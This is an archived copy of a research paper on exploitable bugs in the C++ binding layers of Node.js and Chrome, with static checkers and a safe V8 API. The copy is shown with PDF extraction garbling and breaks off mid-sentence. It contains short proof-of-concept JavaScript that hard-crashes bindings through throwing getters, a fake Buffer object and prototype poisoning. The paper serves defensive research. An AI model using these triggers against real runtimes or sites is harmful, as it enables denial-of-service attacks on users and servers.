---
type: Whitepaper
title: Finding and Preventing Bugs in JavaScript Bindings
description: JavaScript runtimes reach native code through C++ binding layers that must translate types, state and failure between the two languages. Static checkers for crash-, type- and memory-safety violations in Node.js, Blink, the Chrome extension system and PDFium produced 81 working exploits, including out-of-bounds access and use-after-free, plus a safe wrapper API for V8.
resource: "https://mlfbrown.com/malicious.pdf"
tags: [whitepaper, webseclist-reference, rce, sandbox-escape, info-leak, javascript-runtime, nodejs, static-analysis, tooling, mitigation]
generated:
  by: webseclist-refs/1
  at: "2026-08-11T17:36:09+00:00"
status: stable
stale_after: 2027-08-11
sources:
  - id: original
    resource: "https://mlfbrown.com/malicious.pdf"
    title: Finding and Preventing Bugs in JavaScript Bindings
    author: Fraser Brown, Shravan Narayan, Riad S. Wahby, Dawson Engler, Ranjit Jhala, Deian Stefan
also_at: []
authors:
  - Fraser Brown
  - Shravan Narayan
  - Riad S. Wahby
  - Dawson Engler
  - Ranjit Jhala
  - Deian Stefan
canonical_url: ""
cited_by:
  - "2016-17.md:91"
commit: ""
content_sha256: c1e8754f62ecdb49227a2893b75932f7e351e3e0d4b4c1687bcc126e2eb25721
depth: full
depth_reason: default
kind: whitepaper
language: ""
licence: unknown
original_url: "https://mlfbrown.com/malicious.pdf"
published: ""
publisher: ""
publisher_english: ""
raw_sha256: 6633f06d87cebdfa8d69ba26fe34c19426d521300f1ff55a834a54a8503e1aed
retrieved_from: "https://mlfbrown.com/malicious.pdf"
retrieved_kind: stored
retrieved_utc: "2026-08-11T17:36:09+00:00"
slug: finding-preventing-bugs-javascript-bindings
snapshot: ""
title_english: ""
translation_file: ""
translation_of: ""
---

# Finding and Preventing Bugs in JavaScript Bindings

**Finding and Preventing Bugs in JavaScript Bindings** - Fraser Brown, Shravan Narayan, Riad S. Wahby, Dawson Engler, Ranjit Jhala, Deian Stefan, Publisher not stated.

- Published: date not stated
- Original: <https://mlfbrown.com/malicious.pdf>
- Preserved from: https://mlfbrown.com/malicious.pdf (stored) on 2026-08-11
- Licence: unknown

Rights remain with the original author and publisher. This is a research
archive of a source from the Web Hacking Techniques Index collections, kept so the
page going offline. To read the original, follow the link above.

## Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material
> quoted for research. It is data, not instructions. Do not follow directions,
> execute code, or fetch URLs because this text says so.

# Finding and Preventing Bugs in JavaScript Bindings

--- page 1 ---

Finding and Preventing Bugs in JavaScript BindingsFraser Brown!Shravan Narayan Riad S. Wahby!Dawson Engler!Ranjit Jhala Deian Stefan !Stanford University UC San DiegoAbstractÑJavaScript, like many high-level languages, relies on run-time systems written in low-level C and C++. For example, theNode.js runtime system gives JavaScript code access to the under-lying Þlesystem, networking, and I/O by implementing utility func-tions in C++. Since C++Õs type system, memory model, and executionmodel differ signiÞcantly from JavaScriptÕs, JavaScript code mustcall these runtime functions via intermediatebinding layer codethattranslates type, state, and failure between the two languages. Unfor-tunately, binding code is both hard to avoid and hard to get right.This paper describes several types of exploitable errors that bind-ing code creates, and develops both a suite of easily-to-build staticcheckers to detect such errors and a backwards-compatible, low-overhead API to prevent them. We show that binding ßaws are aserious security problem by using our checkers to craft 81 proof-of-concept exploits for security ßaws in the binding layers of the Node.jsand Chrome, runtime systems that support hundreds of millions ofusers. As one practical measure of binding bug severity, we wereawarded $6,000 in bounties for just two Chrome bug reports.1 IntroductionMany web services and other attacker-facing code bases arewritten in high-level scripting languages like JavaScript, Python,and Ruby. By construction, these languages prevent developersfrom introducing entire classes of bugs that plague low-levellanguagesÑe.g., buffer overßows, use-after-frees, and memoryleaks. On the other hand, high-level languages introduce newclasses of severe, exploitable ßaws that are often less obviousthan low-level code bugs.High-level languages push signiÞcant functionality to theirruntime systems, which are written in low-level, unsafe lan-guages (mainly C and C++). Runtime systems provide function-ality not possible in the base scripting language (e.g., networkand Þle system access) or expose fast versions of routines thatwould otherwise be too slow (e.g., sorting routines). Since thehigh-level, dynamically-typed scripting language and low-levellanguage have different approaches to typing, memory man-agement, and failure handling, the scripting code cannot callruntime routines directly. Instead, it invokes intermediarybind-ing codethat translates between value types, changes valuerepresentations, and propagates failure between the languages.Binding code has the dangerous distinction of being bothhard to avoid and hard to get right. This paper demonstrates theseverity of the problem by demonstrating 81 proof-of-conceptexploits for bugs in multiple widely-used runtimes for theJavaScript language. We picked JavaScript because of its ubiq-uity: it is both the most popular language on GitHub and thelanguage with the largest growth factor [11,110]. And thoughit was originally conÞned to web pages, JavaScript now appearsin desktop applications, server-side applications, browser ex-tensions, and IoT infrastructure. Organizations like PayPal andWalmart use JavaScript to process critical Þnancial information,and as a result implicitly rely on runtimes and binding code forsecure foundational operations [40,68,106]. This paper focuseson detecting and exploiting ßaws in two pervasive JavaScriptruntime systemsÑNode.js and ChromeÑsince binding bugs inthese systems endanger hundreds of millions of people (e.g., allusers of the Chrome browser).JavaScriptÕs variables are dynamically typed. Therefore,when JavaScript code calls a binding layer function, that C++binding function should Þrst determine the underlying type ofeach incoming parameter. Then, the function should translateeach parameterÕs current value to its equivalent statically-typedrepresentation in C++. The binding code should also determineif values are legal (e.g., whether an index is within the boundsof an array); if not, the binding should propagate an error backto the JavaScript layer. Finally, before the function completes,it should store any result in the memory and type representationthat JavaScript expects.In practice, writing binding code is complicated: it can fail atmany points, and bindings should detect failure and correctlycommunicate any errors back to JavaScript. Too often, bindingcode simply crashes, leading to denial-of-service or covert-channel attacks (¤2). If a binding function does not crash, itmight still skip domain checking (e.g., checking that an arrayindex is in bounds)Ñor even ignore type checking, thereforeallowing attackers to use nonsensical values as legal ones. (e.g.,by invoking anumberas afunction). One especially insidioussource of errors is the fact that binding code may invoke newJavaScript routines during type and domain checking. For ex-ample, in translating to a C++uint32_t, bindings may use theUint32Valuemethod, which could invoke a JavaScript ÒupcallÓ(i.e., a callbackinto the JavaScript layer). JavaScript gives usersextreme ßexibility in redeÞning fundamental language methods,which makes it hard to know all methods that an upcall cantransitively invoke, and makes it easy for attackers to circum-vent security and correctness checks. For example: bindingsmay check that a start index is within the bounds of an arraybefore callingUint32Valueto get the value of an end index.TheUint32Valuecall, however, may be hijacked by a mali-cious client to change the value of the start index, invalidatingall previous bounds checking.These bugs are neither hypothetical nor easily avoidable.Our checkers Þnd numerous exploitable security holes in bothNode.js and Chrome, heavily-used and actively developed codebases. Furthermore, security holes in binding code may be sig-niÞcantly more dangerous than holes in script code. First, thesebugs render attacks more generic: given an exploitable bindingbug, attackers need only trigger a path to that bug, rather thancraft an entire application-speciÞc attack. Second, binding ßawsdo not appear in scripts themselves: a script implementor canwrite correct, ßawless code and still introduce security errors

--- page 2 ---

Violation type Possible consequenceCrash-safetyDOS attacks, including poison-pill attacks [45]; breakinglanguage-level security abstractions, including [41,42,94, 109], by introducing a new covert channel.Type-safetyAbove + type confusion attacks which, for example, canbe used to carry out remote code execution attacks.Memory-safetyAbove + memory disclosure and memory corruptionattacks which, for example, can be used to leak TLSkeys [28] or turn off the same-origin policy [82].Table 1ÑThe three types of binding bugs that we describeif their code calls ßawed runtime routines. As a result, writingsecure scripts requires not only understanding the language(already a high bar for many), but also knowing all of the bugsin all of the versions of all of the runtime systems on which thecode might run.To address this threat, this paper makes two contributions:1.A series of effective checkers that Þnd bugs in widely-usedJavaScript runtime systems: Node.js, ChromeÕs renderingengine Blink, the Chrome extension system, and PDFium.We show how bugs lead to exploitable errors by manuallywriting 81 exploits, including multiple out-of-bounds mem-ory accesses in Node.js and use-after-frees in ChromeÕsPDFium (two of which resulted in $6,000 in bug bounties).2.A backwards-compatible binding-code library that wrapsthe V8 JavaScript engineÕs API, preventing bugs withoutimposing signiÞcant overhead. Our library does not breakany of Node.jsÕs over 1,000 tests or the test suites of 74external Node.js-dependent modules. By design, the migra-tion path is simple enough that we are able to automaticallyrewrite a portion of Node.jsÕs bindings to use our safe API.While we focus on (V8-based) JavaScript runtime systems,JavaScript is not special: other scripting languages have es-sentially identical architectures and face essentially identicalchallenges; it would be remarkable if these languages did notcontain essentially identical ßaws. Therefore, we believe thatother high-level language runtimes (e.g., those for Ruby andPython) stand to beneÞt from lightweight checkers and moreprincipled API design.2 The Problems with Binding CodeIn this section we introduce binding code and explain howbugs in bindings can lead to violations of JavaScriptÕs crash-safety, type-safety, and memory-safetyÑand how these safetyviolations manifest as security holes. Crash-safety violations,the least severe, can enable JavaScript codeÑe.g., ads inChromeÑto carry out denial-of-service attacks. They also pro-vide aterminationcovert channel that attackers can leverageto bypass language-level JavaScript conÞnement systems, suchas [10,41,42,94].1Type- and memory-safety bugs have evenmore severe security implications. For example, use-after-freebugs in Blink and PDFium are considered Òhigh severityÓ sincethey may Òallow an attacker to execute code in the context of,1A crash or its absence can signal whether a secret istrueorfalse.Application codeV8Binding codeBlink runtime systemC++JavaScriptFigure 1ÑThe Blink runtime system uses the V8 JavaScript engineto execute JavaScript application code. Blink also uses V8Õs APIs toextend the base JavaScript environment with new functionality andAPIs, such as the DOM. This codeÑwhich bridges the JavaScriptapplication code and BlinkÕs C++ runtimeÑis binding code.or otherwise impersonate other [website] originsÓ [84]. Table 1summarizes the security consequences of these classes of bugs.In ¤4 we will discuss the precise security implications of safetyviolations with respect to the systems that we analyze.We start with an overview of how binding code works inruntime systems and how untrusted JavaScript application codecan call into the trusted C++ runtime system to exploit bindingbugs. We Þnd that these bugs often arise because JavaScript en-gines like V8 make it easy for developers to violate JavaScriptÕscrash-, type-, and memory-safety; even V8Õs Òhello worldÓ codeexamples depend on hard-crashing functions [105]. We con-clude with a detailed overview of V8-based binding functions.Runtime system binding bugs.Runtime systems useJavaScript engines to execute application code written inJavaScript. For example, the Chrome rendering engine, Blink,relies on the V8 engine to interpret and run JavaScript codeembedded in web pages as<script>elements. The JavaScriptapplication code embedded in the<script>elements can useAPIs like the Document Object Model (DOM), a representationof a web page, to modify the page and content layout. Bindingcode makes these modiÞcations possible: Blink developers usethe V8 engine API to extend the JavaScript application codeÕsenvironment with such new functionality. Figure 1 illustratesthe role that binding code plays in the interaction between theruntime system, the JavaScript engine, and the application.To explain the challenges with preserving JavaScriptÕs crash-,type-, and memory-safety in bindings, we walk through how toimplement and expose a simpliÞed version of theBlobinterfaceto JavaScript [81]. This interface deÞnes JavaScriptBlobob-jects, which store binary data that can be sent over the networkvia other APIs (e.g.,XMLHttpRequest). In order to efÞcientlypack data in memory, we implementBlobs in C++. We use theV8 API to exposeBlobs to JavaScriptÑspeciÞcally, we use itto expose an interface forBlobcreation and manipulation. InWebIDL [62], this interface is:[Constructor(DOMString[]blobParts)]interfaceBlob{readonlyattributeunsignedlongsize;readonlyattributeDOMStringcontentType;Blobslice(optionalunsignedlongstart,optionalunsignedlongend);};

--- page 3 ---

Implementing this interface in C++ (as binding code) and ex-posing it to JavaScript allows applications to createBlobs fromthe array of strings (e.g.,newBlob(["foo","bar"])). It alsoallows JavaScript code to check the byte-length of aBlob(e.g.,blob.size), get its content type (e.g.,blob.contentType),and extract its subsets (e.g.,blob.slice(2)).The following binding-layer function implements the con-structor for JavaScriptBlobs:1void2blobConstr(constFunctionCallbackInfo<Value>&args)3{4// Get the current execution context5Local<Context>ctx6=args.GetIsolate()->GetCurrentContext();78// Extract first argument after type checking9if(args.Length()!=1||!args[0]->IsArray())10// ... throw exception and return ...1112Local<Array>blobParts=args[0].As<Array>();1314// Create new C++ obj to back the new JS!this!obj15Blob*blobImpl=newBlob(args.This());1617// Add each string part to the blob18uint32_tn=blobParts->Length();19for(uint32_ti=0;i<n;i++){20// Get the ith element from array argument21Local<Value>part=22blobParts->Get(ctx,i).ToLocalChecked();23// Convert it to a string and add it to the blob24blobImpl->AddV8StringPart(part.As<String>());25}2627// Return the receiver to the calling JS code28args.GetReturnValue().Set(args.This());29}This binding code uses the V8 JavaScript engine APIs tohandle JavaScript values in C++. For example, V8 representsthe JavaScript arguments to theblobConstrfunction as anargsarray.blobConstrtakes its Þrst argumentÑan array ofstringsÑand adds each string part to the underlying object.Unfortunately,blobConstrmisuses V8 functions to introduceseveral errors, which we describe in the next paragraphs.Violating JavaScriptÕs crash-safety.blobConstruses a hard-crashing function to extract elements from an array (line 20):blobParts->Get(ctx,i).ToLocalChecked(). This line canhard crash becauseGetreturns either a wrapped value (in caseof a successful get) or an empty wrapper (in case of failure)ÑandToLocalCheckedcrashes when its receiver is empty. As aresult, an attacker can write the following JavaScript to triggera crash in any runtime system that exposesBlobs:1varevilarr=[];2Object.defineProperty(evilarr,0,{3get:()=>{throw!die!!;}4});5varblob=newBlob(evilarr);In this case, V8ÕsGetfunction calls attacker-deÞnedget;whengetthrows an error,Getreturns an empty handle, andToLocalCheckedhard crashes. Attackers can use this kind ofbug to carry out denial-of-service attacksÑe.g., in Node.js, athird-party library can take down a web server while in Chrome,a third-party advertisement can essentially take down a site bycrashing many usersÕ tabs.These security risks are not present in the base JavaScriptlanguage, since JavaScript itself iscrash-safe: it will never hardcrash. Instead, errorsÑeven stack frame exhaustionÑmanifestas catchable exceptions. In contrast, in C++ code, failing grace-fully requires nontrivial effort on the part of the programmer;bindings introduce the possibility of hard crashes to an other-wise crash-safe language.Unfortunately, hard-crashing bindings can result from thedesign of the binding layer API itself. For example, some ofV8Õs type-safe casting APIs arenotcrash-safe. These functions(e.g.,ToLocalChecked, above) are supposed to convert fromV8Õs wrapper types to unwrapped types. Developers have twooptions when confronted with a wrapper: they can either (1) in-spect it and, if it is empty, throw an exception back to JavaScript,or (2) use the V8 function that converts wrapped to unwrappedbut hard crashes when the wrapper is empty. The second choiceis easier, so real bindings often follow this (unsafe) pattern.Violating JavaScriptÕs type-safety.An attacker could use thefollowing JavaScript code to trigger a type-safety violation intheBlobbindings:1varevilarr=[3,13,37];2varblob=newBlob(evilarr);On line two, the attacker calls theBlobconstructor withan array of numbers. This kicks off a call to the bindinglayerblobConstrconstructor, which checks that it has re-ceived a single argument of typeArray. Then,blobConstrextracts the Þrst element of theevilarrarray and castsit to aStringusing theAs<String>method (line 23):blobImpl->AddV8StringPart(part.As<String>()). SinceevilarrÕs Þrst element is aNumberand not aString, the pro-gram segfaults whenblobConstrtries to use the incorrectlycast value. Crashes are not the only possible ramiÞcations oftype-safety errors, however. ¤3 describes an exploit for Node.jsthat leverages a function that does not type check to perform anout-of-bounds write. Type confusion bugs can also enable otherkinds of attacks (e.g., remote code execution) [16Ð19, 38].These attacks are a direct result of violations of (a certainnotion of) JavaScriptÕstype-safety. JavaScript does not havea static type system and does not satisfy the standard notionof type-safety [79]. Still, it satisÞes a weaker notion of dy-namic type-safety: JavaScript code cannot misuse a value byreinterpreting its underlying type representationÑe.g.,numberscannot be reinterpreted and used asfunctions. If code tries tomisuse anumberas afunction, for example, the JavaScriptengine will raise aTypeError. This weak type-safety protectsJavaScript from, say, accidently reading data beyond an arrayÕsbounds or calling into unexpected or unsafe parts of the runtime.

--- page 4 ---

Bugs that violate type-safety appear in real binding code; theyare common because neither JavaScript nor C++ nor V8 helpprogrammers use correct types. JavaScript, by design, does notemploy any static type checking. C++ is statically typed, but thisapplies only to C++ codeÑthe type checking does not extendto the JavaScript code invoking the binding functions. Finally,V8 gives all values coming from JavaScript the sameValuetype, and the C++ binding-layer developer must determine, atrun time, whether objects areObjects orArrays orUint32s.If the developer forgets to check aValueÕs type before using orcasting it, they can introduce type confusion vulnerabilities.Violating JavaScriptÕs memory-safety.There are more con-cerns with ourBlobimplementation. TheBlobslicefunc-tion, for example, could introduce a memory bug. In order toreturn a subsetBlob,slicemust access the receiverBlobÕsunderlying binary dataÑa byte array. In accessing the array,theslicefunction must be wary to read only the data that iswithin bounds. The starting index and length are supplied byuser JavaScript, however; if theslicefunction checks boundsbeforecalling JavaScript methods that might invalidate invari-ants, it could introduce a memory bug (e.g., an arbitrary writevulnerability). Memory-safety bugs can be used to exÞltratesensitive information such as web server TLS keys [28].These vulnerabilities are not present in JavaScript withoutbindings: JavaScript is a garbage collected,memory-safelan-guage, so it can only access memory that has already been ini-tialized by the underlying engine. Furthermore, JavaScript codemay only access memory in a way that preserves abstractionÑfor example, it should not be able to inspect local variablesas encapsulated by closures [43,64]. C++, in contrast, isnotmemory safeÑand bugs in binding code make it possible forJavaScript code to violate JavaScriptÕs memory-safety as well.Most binding layer memory errors arise because JavaScriptvalues adversely affect the data- or control-ßow of binding func-tions that perform memory operations likememcpyordelete.These bugs arenottypically caused by developers forgettingto validate incoming JavaScript values; in fact, most bindingfunctions check arguments in some capacity. Rather, memorybugs often arise because developers misuse V8 functions thatimplicitly upcall back into JavaScript. Attackers may change in-variants during these upcalls; if developers unwittingly assumethat invariants are still true, they may introduce vulnerabili-ties. For example, a JavaScript array indexing operation in thebinding layer sometimes triggers an upcall into user JavaScript;attackers can use this upcall to shorten the length of the array.If a binding code developer does not re-check the length in-variant and instead iterates blithely forward, they introduce anout-of-bounds memory read vulnerability.The challenge of writing memory-safe binding code is anal-ogous to the problem of writing memory-safe concurrent C++code. C++ binding code upcalling into JavaScript, which can,in turn, call into C++ binding code (and so on), is a form ofcooperative concurrent programming. It is no surprise that con-current (JavaScript) code can change shared memory and causeconcurrent C++ code to thereafter violate memory-safety. Un-fortunately, the V8 API is ÒdeceptiveÓ: it does not make thisconcurrency explicit; it does not make it clear that certain APIcalls may trigger upcalls into JavaScript. We list the categoriesof ÒdeceptiveÓ upcalling functions in Table 2.Detailed overview of V8-based bindings.For completenessÑand because the V8 documentation is somewhat limitedÑweexplain the implementation ofblobConstrin full; the uninter-ested reader can skip this paragraph, but may Þnd it useful as areference in later sections. As with all binding-layer functions,V8 callsblobConstrwith acallback-infoobject that containsthe JavaScript receiver (args.This()) and the list of JavaScriptfunction arguments (args[i]). The receiver is an instance ofv8::Object, the class that V8 uses to represent JavaScript ob-jects, while the arguments arev8::Values; thev8::Valuesu-per class is used to represent arbitrary JavaScript values, whichmay bev8::Objects,v8::Numbers, etc. Lines 8Ð10 ensurethat our binding-layer function is called with a JavaScript ar-ray argument. If any of these checks fail, the function raisesa JavaScript exception and returns early; V8 will throw thisexception upon returning control ßow to JavaScript. Otherwise,the binding function creates a new C++Blobinstance that willbe used to store the binary data (line 14). This object,blobImpl,serves as a backing object for the newly created JavaScript ob-ject referenced byargs.This(). SpeciÞcally, the C++Blobconstructor uses the V8 API to store a pointer toblobImplin one of the internal Þelds of the receiver object; this Þeldis not accessible to JavaScript. The internal Þeld ensures thatwhenever JavaScript calls a binding-layerBlobfunction, thebindings can retrieve the underlying C++ object (blobImpl)from the JavaScript object (args.This()). Italsoallows bind-ings to register a garbage collection (GC) callback with the V8engine. When the V8 garbage collector collects the JavaScriptBlobobject, it will call the registered callback to free the cor-responding C++ object. After allocating the C++Blobobject,blobConstriterates over its array argument and adds the in-dividual string elements to the blob (lines 17Ð23). Lastly, itreturns the corresponding JavaScript object (line 27) that V8, inturn, hands off to the JavaScript code that called the constructor.Summary.The bugs that our checkers target (¤3) and our APIaims to prevent (¤5) are patterns caused by violations of threefundamental JavaScript properties: crash-, type-, and memory-safety. These violations come up repeatedly in the JavaScriptsystems that we analyze; in fact, our checkers automaticallyidentiÞed 81 real bugs. In the next section, we walk through anumber of bugs, the automatic checkers that detect them, andthe proof-of-concept attacks that trigger them. Afterwards, in¤4, we contextualize these bugs and their security implicationsby describing the attacker models of the various systems thatwe analyze.3 Static Checkers for Finding and ExploitingVulnerabilitiesIn this section, we present static checkers for binding codeand proof-of-concept exploits for the bugs that they Þnd. Thecheckers, which are tailored for the systems on which they run(e.g., Node.js or PDFium), analyze a parse tree of the programsource and point out potential errors. Then, as an attacker might,

--- page 5 ---

Feature Description ExampleGetters, settersUntrusted JavaScript code can deÞne a custom function to be called when an objectproperty is set/get.object->Get(context,i)PrototypesJavaScript code can poison global prototypes such asArray.prototypeandObject.prototypewhich are then called on property access. This is especially usefulwhen getters/setters cannot be deÞned.array->Set(context,i)toPrimitive, toStringJavaScript code can deÞne a function that is called when the JavaScript engine tries toimplicitly cast an object to a primitive value orString.val->Uint32Value()Proxy trapsJavaScript code can pass in JavaScript proxies instead of objects. This allows it to trapoperations such asset,get,delete,hasOwnProperty, etc.obj->HasOwnProperty(context,prop)Table 2ÑTricky JavaScript edge cases that can form the basis of exploits. All of these cases can result in upcalls to user-deÞned JavaScript.we create JavaScript that triggers the binding bugs. This processdemonstrates that:1.Binding code is an exploitable weakness in JavaScriptruntime systems. We write Þve checkers that identify 81exploitable bugs (with 30 false positives) in binding code,including 3 use-after-free errors in PDFium. Chrome takesthese errors seriously: we were awareded $6,000 in boun-ties for two UAF error reports [24, 25].2.Binding code iseasyto exploit. The static checkers in thissection are at most a hundred lines long, and we typicallycreate them in a day or two. In fact, after examining theV8 documentation for a couple days, we believe that at-tackers or developers could easily conceptualize and createa checker. Once our checkers identify vulnerabilities, itoften takes fewer than a hundred lines to exploit them.Checker implementation.We implement the checkers inµchex [6], a language-agnostic static checking system, becauseit allows us to build small and extensible checkers. Our checkersare tiny since they ignore most of the language that they check.Instead, they only parse and analyze portions of the languagerelevant to the checker properties themselves. The simplicityof the framework allows us to prototype quickly and to adaptcheckers from one runtime system to another with little work;for example, the Node.js and Chrome invocations of one of ourcheckers differ by one line of code. Finally, like many staticsystems, our checkers are unsound: they do not guarantee theabsence of bugs in any system that they check.Checker results.Our checkers ßagbinding layer functionsthatunsafely use JavaScript engine APIsÑV8 and shims aroundV8. We run the checkers on a Node.js master version fromearly September 2016 [74] and Chrome version 56.0.2915.0(Developer build) [13]. We do not check test- and debugging-related Þles. Additionally we omit any Þles that have beenremoved (e.g., due to refactoring) from more recent versionsof the runtimesÑNode.js 7.7.4 and Chrome 56.0.2924.87Ñto simplify the bug reporting process. For each of the checkerresults, we manually inspected the ßagged code and categorizedthe results. Some ßags were clearfalse positives(e.g., due toour simple intra-procedural analysis). Others we conÞrmedby writing exploits; though most of theexploitedbugs werein binding functions directly callable by JavaScript, in somecases we exploited helper functions that are only called by otherbinding code (see below) to demonstrate feasibility. Finally, wemarked some resultssuspicious: we believe many of these tobe exploitable, but since we do not have exploits conÞrmingthem, we count them separately. The extended version of thispaper [5] will contain the updated classiÞcation of these resultsas we explore them in more detail.We outline the results in Table 4 and the checkers that Þndthem in Table 3. The checkers look for three different classesof errors. First, violations ofcrash-safety: one checker identi-Þes hard-crashing asserts that depend on user JavaScript, andthe other ßags hard-crashing conversions from V8 types. Next,type-safety: a checker ßags variables that are cast without beingtype-checked. Finally,memory-safety: one checker ßags mem-ory operations that are affected by upcalls back into JavaScript,while the other ßags instances where JavaScript can force col-lection of a variable still used by C++. Our reports and exploitsare not intended as worst case scenarios for how attackers mayexploit bugs. For example, while we crash unchecked type bugs,attackers may instead leverage them to carry out remote codeexecution attacks. We provide links to all conÞrmed bugs in theextended version of this paper [5].3.1 Crash-Safety ViolationsWe write two basic checkers that ßag violations of JavaScriptÕscrash-safety in the binding layer: one checker identiÞes hard-crashing Node.js asserts that depend on user JavaScript, and theother ßags hard-crashing conversions from V8 types. We adaptthe latter hard-crashing conversion checker slightly for each ofthe systems that we check (Node.js and ChromeÕs extensionsystem, PDFium, and Blink), a process that we describe furtherin the extended version of this paper. We run the checkers onthe systemsÕ source code and craft JavaScript to trigger the bugsthat the checkers detect.Hard-crashing checks on user-supplied input.This checkeridentiÞes instances in Node.js where hard-crashing checks (e.g.,CHECK) depend on user-supplied JavaScript input. For example,the checker ßags the following binding code bug [93]:/* src/node_buffer.cc */245size_tLength(Local<Value>val){246CHECK(val->IsUint8Array());247Local<Uint8Array>ui=val.As<Uint8Array>();248returnui->ByteLength();249}

--- page 6 ---

Checker Type Problem ExampleCrash Attacker can trigger hard crashing assertsCHECK(js)Crash Attacker can trigger hard crashing conversionsjs->Get(..).ToLocalChecked()Types Attacker can trigger bad castnotString.As<String>()Memory Attacker can alter memory operations that depend on implicitly casting functionsmemcpy(js->ToUint32()...)Memory Attacker can free object still being used by C++ptr*;js->ToUint32();use(ptr)Table 3ÑThe binding code bugs that our checkers identify.Checker SystemFlaggedExploited Suspicious FalseHard crashNode.js 68 37 19 12PDFium 13 3 5 5PDFium (lib) 39 29 10 0Extensions 2 0 0 2Blink 6 1 2 3All128 70 36 22TypeNode.js 8 4 0 4PDFium 0 0 0 0Extensions 2 0 0 2Blink 3 0 2 1All13 4 2 7MemoryNode.js 5 4 0 1PDFium 9 3 6 0All14 7 6 1Total155 81 44 30Table 4ÑBugs in JavaScript runtime systems. Our counts are con-servative in several ways: (1) we do count multiple occurrence of aparticular bug kind (e.g., crashing) for a single function even thoughin practice a crashing function, for example, can be crashed in mul-tiple ways, and (2) we count bugs that are more difÞcult to trigger(e.g., because they are deeply nested) as suspicious or false positives,depending on the seeming difÞculty.TheLengthfunction takes a user-supplied V8Local<Value>ÑV8Õs C++ base ÒunknownÓ type for a JavaScript valueÑas itsargument;valis supposed to be a JavaScript byte-array whoselength the function will determine. On line 246, the functionCHECKs thatvalis actually of the correct type, hard-crashingwhen this is not the case.Lengthis not directly exposed toJavaScriptÑit is a helper function that various other Node.jsbinding functions use. Unfortunately, neither the other bindingfunctions nor the JavaScript layer that calls into binding codesafely enforcevalÕs type. As a result, we can sneak a maliciousvalue argument through to trigger a crash in theLengthfunction.The following code triggers the crash:1constdgram=require(!dgram!);2constutil=require(!util!);3// Create object that passes instanceof Buffer check4functionFakeBuffer(){}5util.inherits(FakeBuffer,Buffer);6constmessage=newFakeBuffer();7// Pass object to code that eventually calls Length8dgram.createSocket(!udp4!).send(message,...);Thesendfunction on line 8 is what eventually triggers thebug in theLengthfunction above. Lines 1-6 are boilerplate tocreate amessagethat will fool JavaScript-layer type checks:since our message is an instance ofFakeBuffer, which in-herits fromBuffer, it passes the JavaScript functionsendÕstype checks.sendeventually passesmessageto the binding-layerUDP::DoSendfunction, which callsLength(message).This causes a hard crash:messageisnotaUint8Array, so theCHECK(val->IsUint8Array())fails.To detect hard-crashingCHECKbugs, the checker does a for-ward, intra-procedural analysis of each binding layer Node.jsfunction. Its main computed data structure is the set of allvariables that come from user JavaScript. If it detects a userJavaScript variable in a hard-crashing macro (e.g.,CHECK,ASSERT, etc.), it ßags an error. This simple checker works wellfor Node.js because, in this system, it is often clear (1) whicharguments are user-supplied JavaScript and (2) how these ar-guments are passed in from the JavaScript layer. Furthermore,Node.js developers consistently use hard-crashing asserts inplace of safeif-statements. In contrast, when we tried runninga version of the checker on Chrome code, we drowned in adeluge of confusing reports: Chrome thoroughly performs safechecks before calling hard-crashing functions. In Blink most ofthese safe checks are automatically generated; in the Chromeextension system the checks are performed in JavaScript fromWebIDL-like interface descriptions.This checker ßags 65 errors, 35 of which we conÞrmed bywriting crashing exploits for Node.js. We examined 9 reportsand decided that they were difÞcult or impossible to triggerlargely because the binding functions are Òmonkey-patchedÓwith safe type-checking JavaScript code before any applicationcode can run. Of the remaining checker ßags, we mark 19 assuspicious. Most of these functions are inner, helper bindingfunctions that are more challenging to trigger than functions di-rectly exposed to JavaScript. We could have suppressed reportsfor such non-public functions, but theLengthexploit abovedemonstrates that it is very feasible to trigger bugs that areseveral layers deep in the JavaScript-C++ call stack. Moreover,Lengthis not the only deep Node.js bug we have triggered.Hence, we argue for more defensive (or less explicitly hard-crashing) bindings [90].Hard-crashing conversions fromMaybetypes.This checkeridentiÞes instances where binding code unsafely uses hard-crashing conversions. In other words, it ßags binding functionsthat use type conversion methods that hard-crash in the caseof unexpected types. For example, theToCheckedfunctionconverts JavaScript values fromMaybe<T>typesÑtypes thatsignal success (value of typeT) or failure (Nothing)ÑtoT

--- page 7 ---

types, crashing when the value isNothing. Our checker ßaggedthe following Chrome hard crash [23]:/* chrome/third_party/WebKit/Source/bindings/core/v8/ScriptCustomElementDefinition.cpp */85template<typenameT>86staticvoidkeepAlive(v8::Local<v8::Array>&array,87uint32_tindex,88constv8::Local<T>&value,89ScopedPersistent<T>&persistent,90ScriptState*scriptState){91if(value.IsEmpty())92return;9394array->Set(scriptState->context(),index,value).ToChecked();!!95...96}TheToCheckedcall on line 94 will hard crash if its receiverisNothing. In other words, ifarray->Set()returnsNothing,the method callToChecked()on it will result in a crash. Gettingarray->Set(...index,value)to returnNothingis trivial.TheSetfunction normally sets theindexproperty ofarraytovalue(e.g.,array[0]=0). JavaScript, however, allows usersto instead deÞne custom asetterfunction to be called wheneverthe property is accessed. Hence, if we re-deÞnearrayÕsindexproperty to be an exception-throwing setter,array->Set()willreturnNothingÑand the tab hard crashes.Triggering this error is a bit more subtle, thoughÑarrayis not a value that comes directly from attacker-controlledJavaScript (e.g., from a web site). Instead,arrayis freshlycreated in the C++ binding code that callskeepAlive:/* chrome/third_party/WebKit/Source/bindings/core/v8/ScriptCustomElementDefinition.cpp */124v8::Local<v8::Array>array=v8::Array::New(scriptState->isolate(),5);!!125keepAlive(array,0,connectedCallback,definition->m_connectedCallback,scriptState);!!!!On line 124, the programmer uses theNewconstructor to cre-ate a newarrayin C++. Luckily, attackers can affect theSetfunction even on freshly-created object. JavaScript al-lows developers to deÞne properties on global prototypes (e.g.,Array.prototypeorObject.prototype) that are inheritedby all newly created objects in the same context; attacks thattake advantage of prototypes are calledprototype poisoningattacks [2]. The following malicious JavaScript deÞnes anexception-throwing setter function for property0of theArrayprototype:1Object.defineProperty(Array.prototype,0,{2set:newValue=>{throw"die!";},3enumerable:true4});If we include this JavaScript in a malicious web page, allJavaScript arrays in the context will contain an exception-throwing setter as their property0Ñincluding arrays inbindings. Therefore, when the binding code tries to ac-cess the0property of a freshly created array by callingarray->Set(0,...).ToLocalChecked(), the tab will crash.The checker is implemented as a forward, intra-procedural,ßow-sensitive traversal of the parse tree. Its main computeddata structure is theNothingSet, which contains variables thatmay beNothing; it ßags an error when it sees a hard-crashingconversion call (e.g.,ToLocalChecked) on a variable in theNothingSet. For each binding code function, the checker:1.InitializesAlterSetto the empty set. TheAlterSetis theset of variables whose upcalls malicious 